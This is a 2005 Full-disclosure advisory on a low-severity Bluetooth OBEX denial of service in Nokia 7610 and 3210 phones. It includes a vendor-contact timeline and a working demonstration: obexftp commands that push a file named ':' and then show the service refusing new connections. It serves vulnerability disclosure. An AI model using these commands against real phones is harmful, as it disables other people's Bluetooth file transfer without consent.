From: A. Ramos To: aramosf@unsec.net Subject: [Full-disclosure] Nokia 7610, 3210 denial of service in OBEX. Date: Mon, 26 Sep 2005 19:56:25 +0200 Title: Nokia 7610, 3210 Denial of Service in OBEX. Severity: Low Affected: tested in nokia 7610 and nokia 3210 (maybe others symbian phones). Problem type: remote Details: ------------------------------------------------------------------------------ They are some flaw in the OBEX implementation in nokia 7610 (V4.0.437 15-09-04 RH51), and others, that disable this service if you send archive with name ":" or "\". ---- Quote of IROBEX12.pdf Pag:40, section 4.3 -- (OBEX specification) "Pushing objects into the inbox Objects are pushed into the inbox by using the PUT command with a Name header. The string in the Name header should not contain any path characters such as :, / or \. Objects with improperly formed names should be rejected." ---- The device ask for PIN if you are not paired or ask if you want accept a connection of the remote box, you need ACCEPT. It have low risk , becouse dont work if you dont accept the incoming connection. If connection is established, the file is sended and they arent "New message arrived" message, like when you send correct archive. Its ok, the filename is dropped. The problem is the OBEX service dont work anymore after this, if you tried to send other file or from some vcard from other device, you cant connect to the remote OBEX service again. Demostration with Linux as client: jim:~# hcitool scan Scanning ... 00:13:70:5E:1F:01 7610 jim:~# obexftp -b 00:13:70:5E:1F:01 -p \: Browsing 00:13:70:5E:1F:01 ... Channel: 10 No custom transport obexftp_cli_open() obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT 1 cli_sync_request() obexftp_sync() client_done() client_done() Found connection number: -1022384746 client_done() Sender identified obexftp_sync() OBEX_HandleInput = 31 obexftp_sync() Done success=1 done Sending ":"... obexftp_put_file() Sending : -> : build_object_from_file() Lastmod = 2005-09-18T00:16:42Z cli_sync_request() cli_fillstream_from_file() cli_fillstream_from_file() Read 6 bytes cli_fillstream_from_file() cli_fillstream_from_file() Read 0 bytes obexftp_sync() obexftp_sync() OBEX_HandleInput = 0 failed: : obexftp_cli_disconnect() Disconnecting...cli_sync_request() failed: disconnect obexftp_cli_close() # Error pushing other file after send ":" filename: jim:~# obexftp -b 00:13:70:5E:1F:01 -p /etc/hosts Browsing 00:13:70:5E:1F:01 ... Channel: 10 No custom transport obexftp_cli_open() obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect obexftp_cli_connect_uuid() Connecting...obexftp_cli_connect_uuid() BT -1 failed: connect Still trying to connect ------------------------------------------------------------------------ Timeline: 20 Sept 2005: bug found. 21 Sept 2005: Nokia security contacted. 24 Sept 2005: Disclosure in NCN - V congress (http://www.noconname.org). 26 Sept 2005: Full disclosure. -- A. Ramos. mailto: http://www.unsec.net